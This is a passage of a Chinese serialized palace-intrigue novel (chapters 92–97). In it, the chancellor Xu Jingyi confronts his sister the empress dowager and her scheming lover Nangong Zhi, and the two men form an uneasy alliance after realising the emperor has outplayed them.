“微臣……微臣奉旨前往荆州宣抚韩王,可那逆贼非但避而不见,还私自去了云州!而在微臣回程云州途中,便听闻了楚王殿下……殿下暴毙的噩耗!紧接着,那韩王便悍然举起了反旗!” 他抬起头,眼中满是惊惧。 “甚至微臣……微臣也不知何时,就着了他的道!被他暗中下了慢性剧毒,如附骨之疽,日日折磨!若非微臣虚与委蛇,假意屈从,替他在藩王间周旋……只怕……只怕早已曝尸荒野,连这具残躯都回不到京城来见娘娘最后一面啊!” 第92章 这就是大舅子吧 楚王暴毙?!韩王造反?! 徐妙晴如遭雷击,脸色瞬间惨白如纸。 这么大的事,足以震动朝野、搅乱天下格局的消息,她竟然一丝风声都未曾听闻! 这寿康宫,在她不知不觉间,竟已成了与世隔绝的孤岛! 谁的手笔? 除了那个将她困在此处、掌控一切消息来源的魔鬼,还能有谁?! 徐妙晴猛地扭头,目光狠狠射向身后那道绣着百鸟朝凤的紫檀木屏风。 南宫治的身影,正在薄纱后若隐若现! 就在她目光扫过去的刹那,屏风后那个模糊的身影似乎微微动了一下。 徐妙晴清晰地感觉到,一道带着玩味笑意的视线穿透屏风正落在自己身上。 这无声的挑衅如同火上浇油! 徐妙晴身体剧烈地颤抖起来,几乎要不顾一切地冲过去撕碎那道屏风! 可这失态的一瞥,却也被匍匐在地,却实则眼观六路的徐敬意敏锐地捕捉到了。 屏风后面有人! 是南宫治! 他果然就藏身在这寿康宫中! 徐敬意心中冷笑连连,面上却依旧惊惶无助。 “太后娘娘!”徐敬意再次悲声呼唤,恰到好处地将徐妙晴的注意力拉回。 “微臣离京日久,许多事竟全然不知!从前……从前是微臣愚钝,领会错了太后娘娘的本意!还以为太后娘娘所倚仗的,是咱们徐家满门的荣光……可如今看来……” 他抬起泪眼,用一种极为敬畏后怕嗯目光看向徐妙晴。 “娘娘您……当真是深藏不露,有通天彻地的大本事啊!” 通天彻地的大本事? 徐妙晴猛地从凤座上弹了起来! 动作不小心牵动了腿间的伤处,一阵钻心的疼痛让她眼前发黑,身体晃了晃,几乎站立不稳。 徐妙晴死死的撑住身体,近乎咬牙切齿的呵斥道。 “住口!徐敬意!你……你胡说什么!哀家……哀家生是徐家的人,死是徐家的鬼!何时有过……有过你说的那般心思?你……你莫要在此危言耸听,血口喷人!” 什么通天本事?她如今连寿康宫都走不出去,连外面天翻地覆了都不知道! 这所谓的“本事”,只会将她推入万劫不复的深渊! 徐敬意这老贼,果然不怀好意! 徐敬意要的就是她这方寸大乱的反应。 他心中冷笑,面上却摆出更加痛心疾首呢姿态,捶胸顿足。 “娘娘!事到如今,您就别再瞒着微臣了!”徐敬意几乎是哭喊着开口。 “前些日子,秦王那个不知死活的东西,再次起兵谋反,声势浩大,兵锋直指京城!眼看就要酿成大祸!可结果呢?” 他猛地一拍大腿。 “结果,是那支销声匿迹多年的神秘禁军,如同神兵天降,骤然出现在秦王侧翼!以雷霆万钧之势,一举击溃其主力!秦王那逆贼,仅以身免,仓惶逃回封地!可那些禁军,竟如跗骨之蛆,一路追杀入其封地境内,对其穷追猛打,不死不休!” 徐敬意目光灼灼地盯着徐妙晴,语气愈发急切。 “娘娘!试问这普天之下,除了您,还有谁能有如此翻云覆雨、力挽狂澜的通天手段?除了您,还有谁能在短短数日内,精准地找到那支神龙见首不见尾的禁军,并驱使他们如臂使指?难道……难道是那个高坐金銮殿上、整日里浑浑噩噩的废物皇帝吗?!” 禁军?! 徐妙晴整个人僵立当场。 秦王败了? 是败在……禁军之手?还被追杀进了封地? 这消息比韩王造反更让她震惊! 这怎么可能?! 她耗费了多少心血,撒下多少眼线想要找那支禁军,可至今连个影子都没摸到! 他们怎么可能突然出现,还立下如此泼天大功? 是谁?是谁找到了他们?谁在调动他们? 郑遂? 不!绝不可能! 一个名字瞬间在她混乱的脑海中炸开 南宫治!只有他! 只有他一直声称知晓禁军的下落,以此为饵吊着自己! 难道……真的是他?他瞒着自己,暗中联络了禁军,甚至调动了禁军去阻击秦王?! 她下意识地再次猛地扭头,仿佛要穿透屏风上那层薄纱,看清后面那个男人的表情。 “咳!” 一声带着慵懒意味的轻咳声骤然从屏风之后响起。 徐妙晴脸上的血色在刹那间褪得一干二净。 他……他这个时候出声干什么?! 自己还没有示意他出来! 这突如其来的声响,无异于向徐敬意宣告了屏风后确有其人! 这等于是在徐敬意面前,将她最后的遮羞布撕得粉碎! 但南宫治没有犹豫。 那道巨大的紫檀木屏风被缓缓推开,一个身着玄色暗云纹锦袍的男子步履从容,缓缓从阴影中踱步而出。 正是南宫治。 他脸上挂着一丝若有若无的笑意,目光漫不经心地扫过匍匐在地的徐敬意。 随即他径直走到徐妙晴身侧站定,姿态随意,甚至带着几分亲昵的占有意味,仿佛他才是这寿康宫真正的主人。 然后,他微微侧头,目光终于落在了徐敬意那张涕泪纵横的老脸上。 “呵……”一声极轻的嗤笑从他唇边逸出。 南宫治悠悠开口:“眼前这位……想必就是徐相,我那位未曾谋面的‘大舅子’了吧?” 大舅子?! 一股几乎要冲破天灵盖的暴怒瞬间在徐敬意胸中炸开! 他是什么东西?! 一个前朝覆灭时侥幸逃脱的贱奴之后! 一个靠着谄媚妇人、钻营床笫才得以苟活的男宠! 他竟敢……竟敢如此轻佻、如此侮辱地称呼自己为“大舅子”?! 这简直比当众抽他耳光更甚百倍! “你……你……你这狂徒!竟敢……竟敢如此称呼老夫?!你算什么东西?!也配?!太后娘娘!此等无君无父、不知廉耻的宵小之徒,竟敢秽乱宫闱,亵渎圣听!还不速速将其拿下,乱棍打死!”徐敬意怒吼。 徐妙晴的脸色早已难看到了极点。 南宫治这声“大舅子”,不仅是在羞辱徐敬意,更是在赤裸裸地践踏她身为太后的最后一丝尊严! 将她与这男宠的关系,以一种最不堪的方式,彻底摊开在徐敬意面前! 她感觉脸上像是被狠狠抽了无数个耳光,火辣辣地疼,恨不得立刻找个地缝钻进去! 第93章 您何必惊慌至此 然而当她眼角余光瞥见南宫治脸上那抹似笑非笑的神情时,所有差点脱口而出的斥责就都堵在了喉咙里。 她太清楚这魔鬼的手段了。 他敢在徐敬意面前堂而皇之的出现,敢这么毫无遮掩的叫徐敬意“大舅子”这个称呼,就代表着他根本就不想有任何的退缩。 他就是要把所有人都拿捏在手心里。 如今别说是自己的命,甚至徐家的兴衰,此刻都已经被他抓的死死的。 想到此处,徐妙晴的身体不受控制地微微颤抖起来,可南宫治却依旧坦坦荡荡,甚至还有心思转过头去,对着徐妙晴露出了一个似笑非笑的表情。 似乎是在说:你不打算给你的好哥哥一个解释吗? 无奈,徐妙晴只好死死咬住牙关,艰难地转过头,强迫着自己对着徐敬意露出一个看似坦然的笑意, “兄长息怒,这位……这位是南宫先生,他……他……” 说到此处,徐妙晴终究是犹豫了一下。 然而南宫治环在自己腰上的手却骤然收紧了。 徐妙晴纸的再次深吸一口气,几乎用尽了全身力气,才吐出一句。 “是哀家的心爱之人。” 徐敬意当场就傻在了原地,眼睛瞪的老大,震惊无比的看着徐妙晴。 徐妙晴根本不敢直视徐敬意的眼睛,目光落在了脚下金线绣牡丹地毯上。 “哀家与他,虽无明媒正娶的夫妻名分,但在哀家心里,早已将他视为此生唯一的夫君。所以,私下里,他唤兄长一声‘大舅子’,也……也算不得逾矩。” 此言一出,整个寿康宫正殿陷入了死寂。 徐敬意彻底懵了。 他难以置信地看着眼神躲闪的徐妙晴,又转头看向她身边那个嘴角噙着冷笑、仿佛一切早已在他掌握之中的男人,终于忍不住爆发了。 “你……你……!”徐敬意怒吼道。 他猛地一拍大腿,几乎要控制不住冲上前去。 “荒唐!糊涂啊!太后娘娘!这……这成何体统!成何体统啊!” 徐敬意心里简直恨极了。 南宫治他算个什么东西? 以他的身份,能做个男宠已经是无上荣光了,还能让徐妙晴以夫妻之名相称? 是他疯了,还是徐妙晴疯了? 南宫治脸上的笑容却更深了,眼底的冰寒也越发凛冽。 他轻轻抬起手,看似随意地抚平了玄色锦袍袖口的褶皱。 随即徐徐抬头,看向徐敬意。 “大舅子。”南宫治慢悠悠地开口,再次吐出那个让徐敬意气的几乎吐血的称谓。 “您这话,可就大错特错了。” 南宫治微微歪头,语气忽然变得意味深长起来。 “如今这世道,群雄并起,烽烟遍地,正是英雄不问出处的时节。况且……” 南宫治话锋一转。 “小人我虽只是一介布衣,却也并非一无是处。我对太后娘娘,是真心实意,天地可鉴。所求,不过是与娘娘长相厮守罢了。这难道……也碍着徐相您的眼了?” 徐敬意被他这轻描淡写的态度气得浑身发抖,正要再次厉声斥骂,南宫治却不给他开口的机会,径直道。 “再者说了,您以为,若非我南宫治在背后筹谋出力,大舅子您巡抚在外,无力对抗散落之时,那秦王的数万虎狼之师,如何会被如此轻而易举地一举击溃?” 徐妙晴再次震惊的转过头去。 真的是他! 倘若方才应该是心里有猜测的话,那这会儿却是已经千真万确了。 他竟然真的调动了禁军?!他真的有这个能力?! 那支她梦寐以求的禁军,竟然真的掌握在这个恶魔手中?! 其实这些日子以来,南宫治只顾着对自己大肆折磨羞辱,不肯透露有关于任何进军的线索,时间一长,就让徐妙晴心里犯起了嘀咕。 她也开始隐隐怀疑,南宫治是不是什么都不知道,只是单纯的在自己面前卖弄。 可是如今南宫治的举动,却无疑是打着徐妙晴的脸。 他不仅真的掌握了禁军的线索,甚至还能拉拢了徐敬意的党羽,将这些禁军引荐到郑遂的面前,并且大败秦王叛军。 徐妙晴不禁大呼吸了一口凉气,随之而来的是一种极为痛快的感觉。 南宫治竟然还顺手还给了徐敬意这个她恨之入骨的兄长如此致命的一击,让她在韩王那里遭受了非人的折磨。 搞成了如今狼狈不堪,如丧家之犬一般的模样。 这可真是大快人心! 徐妙晴目光扫过徐敬意的脸,嘴角忽然扯出一抹诡异的笑容。 徐敬意!你这个老匹夫!你也有今天?! 你也有匍匐在尘埃里,对着我这个被你当作棋子送入深宫的妹妹摇尾乞怜的一天?! 这滋味,如何啊?! 可这股快意就如夏日的暴雨一般,来的也快,去的更快。 在最开始的狂喜过后,恼火与后怕,却忽然袭上心头。 她日日忍受着南宫治的凌辱,承受着他非人的折磨,像最卑贱的妓子般供他予取予求,所求的,不就是这支能让她真正掌控命运的力量吗? 可他南宫治做了什么? 他没有告诉自己,反而是将这些禁军引荐给了郑遂吗? 那她这个太后岂不是成了一个彻头彻尾的笑话? 南宫治到底把自己当成什么?一个供他泄欲的玩物?一个可以随意愚弄的蠢货?! 最关键的是,他这些日子以来一直待在寿康宫连出门都未曾,他是如何与徐敬意过去的那些党语勾结在一起的? 为什么自己对这些事竟一无所知?难道南宫治的背后,真的如他所说,占着很多连徐妙晴都无法触及的势力吗? “你……”徐妙晴又惊又怒,猛地挣开南宫治搂在她腰间的手。 可南宫治却并未因为徐妙晴这近乎冒犯的举动而恼火,反倒是慢条斯理的收回了手,轻轻的摩挲着拇指上戴着的玉扳指,居高临下的俯视着正跪伏于地的徐敬意。 “大舅子,您何必惊慌至此?”终于,南宫治悠悠开口了。 可徐敬意又何尝能不惊慌? 第94章 咱们其实是一样的人 那些被自己的朋党举荐到郑遂面前的禁军是如何来的,徐敬意心里再清楚不过了。 那分明是在自己巡抚的路上,想尽办法收拢的。 自己此来,本就是为了获取徐妙晴的信任,顺便探听一下底细,却不想真相来得如此之快。 这南宫治,竟然真的背地里帮着徐妙晴与自己的的那些人勾结了吗? 最关键的是,听他们这话里话外的意思,可是从未觉得那些禁军线索是通过徐敬意这边找到的,而是他们自己的功劳! 莫非…… 南宫治私底下也在寻找禁军的踪迹,甚至比自己了解的还要多吗? 这样一来的话,他们这一党,能够拉拢了自己的那些人就也说得通了。 毕竟,自己想要坐上皇位,可却迟迟没有进展。 可若是南宫治手中比自己有更多的筹码的话,那些人的背叛就也不在意料之外。 一想到这一点,徐敬意脊背就一片寒凉。 这南宫治二人,当真已经筹谋着算计自己许久了吗?甚至比自己知道的还要早的很多。 “我知道您担心,可既然如今,真正能左右乾坤的主力军皆已在我们的掌握之中,区区一个韩王又算得了什么呢?您何须惧他?” 主力军? 徐敬意猛地抬起头去,死死盯住南宫治。 他听懂了。 这南宫治口中所说的主力军,不仅仅是击溃了秦王的那些禁军,更是指自己曾经冷落的那些军队。 是啊,他徐敬意权倾朝野时,确实收拢了不少军队,甚至还在各地军镇、卫所、乃至京畿要害安插了不少心腹将领,培植了一股盘根错节的军力网络。 可那是过去! 自从他被韩王设计囚禁开始,他与这些旧部的联系就变得极其困难,甚至完全中断。 且不止于此,自从他受困以来,他甚至连身边的那些心腹都无法随意联系,就更别提像曾经那般信任他们,由他们为自己想办法了。 所以如今他又该如何传信出去让那些军队继续为自己所驱使呢? 况且,自己之所以能够收拢他们,又何止是因他一个人的力量?这里头的桩桩件件,自己那些心腹党羽,也曾有参与过! 那可是无数利益交换、家族联姻、朋党勾连共同织就的巨网! 如今他徐敬意自身难保,成了丧家之犬,那些曾经依附他的将领、门生、故吏,都已经有了异心。 这树倒猢狲散,落井下石者大有人在,他早就已经不是曾经的徐敬意了,又如何能拿得出筹码来与南宫治谈判? 而让徐敬意更惶恐的是,眼前的这个南宫治并不是什么好相与的。 他原本就是前朝的余孽,野心昭昭,能在众人眼皮子底下潜伏到寿康宫来,还能与徐妙晴夫妻相称,就算是个傻子,也不会以为南宫治是个好利用的。 只怕他比徐敬意自己更想掀翻郑遂,坐上那张龙椅! 与他合作?无异于与虎谋皮! 只怕自己呕心沥血夺来的东西,转眼间就成了这男宠的囊中之物,为他南宫治做了嫁衣! 徐敬意并没有开口,显然是无声的拒绝。 但是南宫治却不以为意,仿佛没有看到徐敬意面上的抗拒一般,淡淡的道:“不如,咱们单独聊聊?” 徐妙晴正被南宫治隐瞒禁军线索的事搅得心烦意乱,听闻此言并未担心过来其中深意,本能地感到一阵解脱,于是并未出声。 徐敬意布满皱纹的眼皮却是猛地一跳。 单独谈谈? 这南宫治神秘莫测,言语间更是暗藏机锋,若能单独探探他的底牌,摸清他真正的目的和虚实…… 这倒也不失为一个机会! 至少,比当着徐妙晴那个蠢货的面纠缠要强。 “哼!”徐敬意从鼻子里重重地哼出一声,算是应允。 踉跄的起身,朝着西偏殿走去。 南宫治淡然一笑,也紧随其后。 西偏殿的布置,眼瞧着就要比寿康宫的正殿简洁许多,不过却与徐敬意印象中的不大相同。 徐妙晴从小就喜爱奢华,她当年入了宫之后就直接是皇后至尊没过多久就成了太后。 当初这天下尽在他们徐家人手中,徐妙晴的寿康宫,不论是从正殿到几个配殿,还是屋里的种种布置,乃至于这宫里的一草一木,都是极为奢华精致的。 如今忽然变得如此简朴,倒是叫人出乎意料之外,不过,仔细一看却发现这屋子里的种种陈设更类似于男子喜爱的风格,再看一看那南宫治如如主人家一般闲适的姿态,徐敬意便猜出了什么。 看样子,这南宫治在寿康宫里居住的日子已经不短了。 一想到这,徐敬意心中就又是生出一股恼火。 不过,南宫治却一如往常般优雅随意。 他在紫檀木圈椅上坐下,抬手示意对面:“大舅子,请坐。” 徐敬意杵在原地,并未立刻落座。 而是忍不住讥讽道:“南宫先生好大的排场!这寿康宫偏殿,倒像是先生自家的厅堂了!呵,当真是……看不出来啊,先生祖上不过是前朝覆灭时,侥幸逃脱、做些低贱活计的匠户出身,竟也能有今日这般气度!” 但南宫治脸上的笑容纹丝未动,反而更加淡定起来。 “大舅子此言,未免太过狭隘了。英雄,何时需要问其出处?” 南宫治微微一顿,面色依旧和善,但语气中却明显暗藏锋芒。 “倒是徐家,若论及祖上,似乎也并非世代簪缨的清贵门第吧?若我没记错,令尊那一代,令祖那一代……贵府当年发迹的根基,不正是靠着在江南运河之上,做些互通有无的行商买卖?积累起泼天财富之后,才得以捐官入仕,一步步走到今日?” 徐敬意脸色瞬间难看起来。 被南宫治这种低贱的出身,揭穿了徐佳最不愿意提起的事,和被人当众狠狠抽了几十个耳光有什么区别? 这徐家最大的忌讳,最不愿被提及的,不正是那段发家史吗? 这比直接骂他祖宗十八代还要令他难堪百倍! 第95章 仅凭演技就可以做到 “你……你放肆!”徐敬意气得浑身发抖,指着南宫治便骂道。 “你竟敢……竟敢污蔑我徐家清誉!我徐家世代忠良!岂是,岂是……” “忠良?”南宫治轻轻嗤笑一声,打断了他的话。 “徐兄,这里只有你我二人,何必再演那些给外人看的戏码?我说这些,并非是要嘲笑徐兄的出身。” 南宫治话锋陡然一转。 “恰恰相反,正因我们在某种程度上,都非那等生来便站在云端的天潢贵胄,都曾经历过需要向上攀爬的艰辛,才更应明白互相扶持的可贵,不是吗?在这乱世之中,多一个盟友,总好过多一个敌人,尤其是一个能给你带来你想要的东西的盟友。” 徐敬意怒极反笑。 “就凭你?你一个靠伺候女人上位的……” 徐敬意冷笑一声,连连摇头。 “就你,也配与我谈合作?你以为,我最想要的东西?你一个井底之蛙,能看出……” 我为何看不出?”南宫治径直打断了徐敬意的话。 “你想要的,不就是那支真正的禁军?” 南宫治缓缓站起身来,走到徐敬意面前站定。 “照理说你徐家势力庞大,如何不能坐上了皇位?可你已将皇帝掌握于鼓掌之中,却迟迟不肯对皇帝动手,反而暗中打探禁军的踪迹,还请命去巡抚藩王。你以为我看不出来是为什么?” 不就是因为,连徐敬意自己都没有那么大的把握能够成功,担心藩王们造反,担心自己手中掌握的军队敌不过那些藩王手中的兵马,又担心他们才是皇室正统,即便是自己坐上了皇位也会被他们给拉下来,所以才务必要找到那支能力非同寻常的禁军,要将所有会对自己造成威胁的人赶尽杀绝吗? 徐敬意的瞳孔骤然收缩。 他、他猜到了? 可他是何时知道的? 自己打探禁军下落这事,明明只有徐妙晴一人知晓…… 是徐妙晴告诉他的! 南宫治看着徐敬意的反应,嘴角的笑容越来越深,明显是一副“我早就将你看穿了,你也不必再装”的姿态。 无奈之下,徐敬意只好强自镇定。 “是又如何?” 徐敬意挺直腰板,做出一副即便是你看穿了,我也不畏惧的姿态。 可南宫治却忽然露出了一个诡异的笑容,极为突兀的来了一句。 “徐兄啊徐兄,你不会真的以为,就凭我祖上的出身,可以轻而易举的掌控那些禁军吧?” 这突如其来的转变,让徐敬意彻底傻在了原地。 他什么意思? 他没有去找那些禁军,更没有对其加以控制。 那么,用来对抗秦王的那些,是从哪里来的? 忽然徐敬意心中生出一种不祥的预感。 而南宫治嘴角的笑容则更深了。 “实话告诉徐兄,我确实没有任何禁军的下落。我只不过是在合适的时机,把这潭水搅浑了而已。比如……” 南宫治的面孔悄然凑近过去。 “打听到你的所有计策、弱点,然后等待一个合适的时机。” 他直起身子,眼神意味深长。 “等时机到来之后,再将你们一网打尽。” 徐敬意陡然瞪大了眼睛,纵然已经极力掩饰,可眼中的恐惧却是无论如何都压不下去。 心中则是生出了一个,更让徐敬意胆寒的念头。 他好像明白了什么。 明白了为什么自己会变成如今这般落魄的模样,为什么,自己的那些党羽突然之间就抛弃了自己。 明白了,为什么事情会变化的如此之快,他转眼之间就能从云端跌落到泥潭。 因为这一切的计谋,根本不是源于面前的人,更不是源于寿康宫正殿内那个看似高高在上,实则那里子已经腐烂不堪的徐妙晴。 她就是个蠢人,纵然她有做女皇的想法,他真的能做到吗? 不可能的…… 而南宫治更没有那样的本事。 这一切的一切,都来源于郑遂! 郑遂看似什么都没有做,可是背地里他的计谋早就已经深入到了自己这一党的内部,缓缓而至,最后土崩瓦解。 甚至连自己寻找到的那些禁军的踪迹,乃至于他所见到的一切,都是郑遂刻意安排的。 “不可能!”徐敬意下意识的开口反驳道。 “他只是一个无能的小皇帝罢了,老黄的意思,他就再也没有与我对抗的能力,绝不可能是他的!” “你骗别人的时间是不是太久了点?久到连你自己,都被自己编织的谎言给彻底蒙蔽了?”南宫治满脸嘲讽的反问。 徐敬意的呼吸猛地一窒,一股不祥的预感涌上心头。 “是你被他耍的团团转,还一无所知。”南宫治鄙夷的道。 “至于我嘛……” 南宫治缓缓转过身,走到窗边背手而立。 “我只是在合适的时间等待一个属于我的机会而已。” 徐敬意难以置信地看着南宫治。 他一直在蛰伏? 他其实没有任何能力,他没有背后的势力,甚至不会武功,他充其量只继承了祖上身为工匠的手艺以及满身的心机谋算而已。 可就是这样也被他抓住了漏洞,抓到了徐妙晴急于求成的心理,将徐妙晴玩弄于鼓掌之中,借着自己离开京城的间隙, 逼的徐妙晴形势越来越偏激。 没有了用来制衡郑遂的人,郑遂自然就可以趁机占了上风。 可面上他仍是那个一无是处,遇到事情只知道问别人怎么办的小皇帝。 比起郑遂的心机谋算,更让徐敬意心惊的是南宫治如此闲适的姿态。 别看他面上一无所长,可实际上他这一身精湛的演技却已早就蒙蔽了所有人。 但是徐敬意根本就无法接受。 他忍不住朝着南宫治怒吼起来:“你就要在这里胡言乱语,难道在朝堂之上,仅凭着你舌灿莲花就可以占尽先机吗?” 南宫治缓缓转过身来,对着徐敬意露出了个似笑非笑的表情。 “你错了,我不在朝堂之上,所以只要我演的足够逼真,自然就可以让所有人都信任我。” 徐敬意倒吸了一口凉气。 他藏得如此之深,根本就是躲在暗处的一条毒蛇,猝不及防的就会冒出头来咬人一口,让人防不胜防! 第96章 这人断断不能再留了 “你放肆!”徐敬意终是忍不住心中的怒火,朝着南宫治大吵大嚷了起来。 然而南宫治根本就不在乎徐敬意会说什么,连左耳朵听右耳朵冒都不算,他分明就是什么都没听。 甚至还嫌徐敬意吵似的,姿态悠闲的掏了掏耳朵,完全不把他的任何话放在心里。 等到徐敬意大骂了一通,把南宫治的祖宗十八辈都问候了一遍之后,南宫治才悠闲的转过头来。 “可是你现在最该恨的人,哪里是我?分明就是那把你耍的团团转的小皇帝。” 徐敬意被南宫治这简短的一句话搞得彻底安静了下来。 他立在原地,几乎如同五雷轰顶一般。 脑中霎时间什么奇怪的想法都没有。 他只感觉就像是天塌下来了一般,轰隆隆的砸在了自己的头顶上,丝毫躲避的余地都不留给他。 是啊,南宫治说的又何尝不对呢? 自己此刻最该恨的不是这个看似诡计多端的南宫治,而该是郑遂呀! 郑遂曾经在徐敬意眼中算是个什么东西? 他就是个不学无术的纨绔,还未长大成人,老皇帝还在的时候,他就已经在自己的宫中笼络了无数美人姬妾,完全就是个烂泥扶不上墙的阿斗! 若非他是老皇帝的一生挚爱,皇后所生,占了个唯一的嫡子名分,又因生母早逝而颇受老皇帝宠溺纵容,当初的太子之位,哪里能轮得到他? 放眼望去,郑遂的那些兄弟,那些被排挤在外的藩王,哪怕是韩王这样恶毒阴险的小人,可单拎出来,哪个能力不是比郑遂强上千百倍? 除了命好以外,他还有什么资本? 而也正是因为老皇帝过度纵容这个儿子,早早的就将自己其他的皇子发配之封地,将金中这块地盘空了下来,一心想扶持他那个不成器的儿子,徐敬意才生出了歹心。 徐敬意承认自己不是什么好东西。 毕竟敢觊觎皇位的,从来就不是什么善茬。 但是话说回来了,人人都有野心,为何他徐敬意不能有? 即便不是为了拨乱反正,创建一个太平盛世,徐敬意也觉得,人往高处走,水往低处流,他的决策并没有什么问题。 只是每个人站着的角度不同,所以总会出现那么多分歧。 且正如南宫治所说,他是在合适的时间里等到了一个机会,当初的徐敬意又何尝不是? 可他怎么也没有想过自己认为唾手可得的皇位,自己认为只要熬过眼前的难关,便可以取来的江山,实则一直都在郑遂的掌控之中。 这个看似不起眼,甚至至今为止都被百姓所谴责唾骂的皇帝,实则根本就不是一个草包。 这实在是大大出乎于徐敬意的意料,到现在为止,徐敬意都难以接受。 而他更搞不明白的是,郑遂到底是突然之间变成了这个样子,还是他一直在隐忍蛰伏? 看着徐敬意愣愣的表情,南宫治没忍住嗤笑一声。 “我说徐兄啊,您是不是有些太想当然了?” 徐敬意猛地抬起头去,面色古怪的看向南宫治。 只见南宫治收回了视线,再次落向窗外的繁华盛景之上。 随即缓缓说道:“您有点太把自己当回事了,也有点太不把郑遂给当回事了。” 郑遂再怎么平庸,再如何不堪,他也终究是出生于皇家。 他从小生活在这种是非之地,就算是他从不下功夫提升自己的能力,可在长期的耳濡目染之下,他又怎可能半点能耐都没有,就更不可能对朝长之事完全不了解了。 而徐敬意,他就算是再怎么厉害,再怎么权势滔天,可他终究也是个臣子。 就光这臣子二字,就足以将徐敬意定死在人臣的位置上,永远翻不了身。 就算徐敬意侥幸坐上了皇位,可终究也是名不正言不顺。 正如徐敬意所担忧的那般。 只要他胆敢坐上皇位,那些处于封地的藩王就可以立刻打着清君侧的幌子出兵与他清算。 他早晚有一天,是要被拖下皇位的。 且徐敬意又有一个毛病,他总是把自己的那些党羽心腹当做自己未来的手下之臣,却从未想过该怎么分一杯羹给他们,才能让他们安心辅佐自己。 这也是徐敬意落到如今这个地步的重要原因之一。 总的来说就是徐敬意太不把郑遂当回事了,也太把自己给当回事了。 明明没有得到那个身份,更没有做到那个位置之上,却提前的把自己代入到了那个角色之中。 人过于自傲就会膨胀,膨胀了之后,便会理所当然的以为所有事情都要围着他转,就会忽略身边很多的细节。 “这就是为什么郑遂能把你玩的团团转的原因。”南宫是轻飘飘的总结。 徐敬意早已是被他气的七窍生烟,虽然他心里很不服气,还想在与南宫治争辩上几分,但是他却也不得不承认南宫治说的字字句句都是有道理的。 哪怕是他现在想破脑袋,也找不出什么理由来反驳南宫治。 可是有的时候,越是有人把自己的所有错漏都挑明了,他就会越恨这个人。 这也是人之常情。 毕竟如果他不点破,自己就可以永远活在幻梦之中,直到死亡那一天真正来临。 但他点破之后,却偏偏会成为首要的敌人。 徐敬意的注意力很快就被从对郑遂的恨意转接到了对南宫治的怨怼之上。 尤其是在看到南宫治背对着自己,一脸完全不把自己放在眼里的样子,徐敬意心中当即就窜出了一股火。 顺带着的!脑中也冒出了一个想法。 杀了他!现在就杀了他! 左右南宫治如今也暴露了自身的弱点,他根本就是一个无依无靠,只能靠坑蒙拐骗立足的人。 就算是把他杀了,也不会有人来找自己寻仇。 如此一来,还算是解决了一个心腹大患呢。 没了南宫治,没了浑水摸鱼的人,余下的敌人也就只有郑遂和韩王了! 到时候他的生活会是多么的太平? 杀了他!这人断断不能再留了! 第97章 怎么背叛的就怎么收服回来 然而徐敬意才刚刚冒出这个想法,甚至身上还没有动作,毕竟南宫治的时候,南宫治就好像是生在他肚子里的蛔虫一般已经料想到了徐敬意在想什么。 “徐兄为何这么急的就要杀了我?” 南宫治依旧是头也不回,但他口中吐出来的冰冷话语却足以让徐敬意心惊胆战。 猛地抬起头来,有那么一瞬间,真的要以为南宫治会什么巫蛊之术,才会对自己的心思了解的一清二楚了。 “你……” 徐敬意只来得及吐出一个字,就忽然不知道自己该说什么了。 这时,南宫治终于缓缓转过头来。 可他却分明不是因为要防备着,徐敬意偷偷对自己下毒手才转过来。 相反的,他脸上一直挂着漫不经心的表情,还是没有把徐敬意放在眼里。 徐敬意对南宫治的恨意终于彻彻底底的转化为了恐惧。 他甚至忍不住腿一软,差点就要给这个他最看不上的卑贱之人跪下了。 费了好大的力气,徐敬意才堪堪忍住了自己下意识的动作,满眼难以置信地看向南宫治。 “你何以知道这么多?” 南宫治低低一笑:“因为我曾经差点就成了罪奴后人,因为我的祖上是从尸山血海里过来的。因为我们南宫一族所有人都清晰的记着一件事,若是没有足够的能力与仇人抗衡,那便修炼心性。” 这心机谋算可不是一纸空谈,在关键时刻甚至可以起到扭转大局的作用。 而这些并不需要南宫治多说,徐敬意也能明白他的言外之意。 徐敬意忍不住打了一个狠狠的冷战。 这个南宫治城府颇深,根本就是一个潜藏在暗处的毒蝎子,别说是,自己便是心机深沉如郑遂,只怕猝不及防之下也会被南宫治狠狠的蛰上那么一下,搞不好连小命都丢了。 越是这样的人越是不能留下,因为此子并非池中之物,谁知道他是否会有一天反过来咬自己一口,但是在明知对方毒性的同时,徐敬意的脑中却越发清晰的冒出了一个想法。 自己如今身陷囹圄,前有郑遂后有韩王,这内里子里更是有个徐妙晴咄咄逼人。 虽然如今也知晓连徐妙晴都被南宫治控制于鼓掌之中,根本就是个中看不中用的绣花枕头,但是自己的处境也着实是不简单。 所以如今与南宫治合作,或许是他最好的选择。 此人心机颇深,是有很大的概率能把自己从这困境之中救出来的,不靠他难道还靠郑遂吗? 另外这也可以暂且与徐妙晴达成和解。 不管是面和心不和,还是说这样的和平只能维持短短一段时间,但眼下这种境况只要能少一个敌人就比多一个要强很多。 徐敬意在脑中急促地权衡着利弊,他在纠结自己究竟要不要迈出那一步去。 反而是南宫治极为淡然。 他就那么静静的站在那里等待着徐敬意说出自己最后的答案来。 终于心中的渴望还是敌不过对南宫治这人发自于骨子里的惧怕。 因为比起功成之后再失去一切徐,敬意最害怕的是自己连成功的那一天都没有。 因为这就代表着,从前所有的铺垫都完了。 他从前所有的努力也将付之一炬。 这就像是一个在沙漠之中行走了许久的人,眼看着就要找到水源,却中途选择放弃一样。 那样默然无声的死去,简直比受凌迟之刑还要让人难受。 徐敬意宁可像昙花一现一般,得到了一切又很快失去,也不愿意悄无声息的被埋没,在历史的尘埃里。 他要的是轰轰烈烈的活过一次。 哪怕是以逆贼的名声,可至少史书记载上会有他徐敬意这一步。 “好,那我愿意与你合作。”徐敬意说道。 “但是你要知道一件事……” 徐敬意忽地话锋一转。 话未说出口,南宫治就又提前说出了徐敬意心理的意图。 “你是想说,自从你被韩王所控制之后,已经与你所收拢的那些军队心腹失去了联络,或是即便有渠道联络也不敢了是吗?” 徐敬意再一次震惊的瞪大了眼。 这回他不得不承认,纵然他在瞧不起南宫治这个卑贱的工匠出身,却也必须得臣服于他的心机谋算之下。 他是一个比自己还要更会算计、更心狠手辣的人。 “是,那你有何高见?” 既然事情已经发展至此,徐敬意就也不再遮遮掩掩了。 南宫治这么厉害,他总不会没有办法吧? “怕什么?”南宫治反问道,“我祖上做了那么多年奴才,至今为止都对前朝诸位君主忠心耿耿,连我这个没有赶上前朝末年乱世的后人,都也是如此。你知道这代表着什么吗?” 南宫治缓缓走上前,立于徐敬意的生前。 “有时候也不怪你瞧不上我们,说句难听点的话,一日为奴,终身下贱。而你的那些部下又何尝不是如此?” 曾经屈居于人下,就一辈子都改变不了源自于骨子里的臣服。 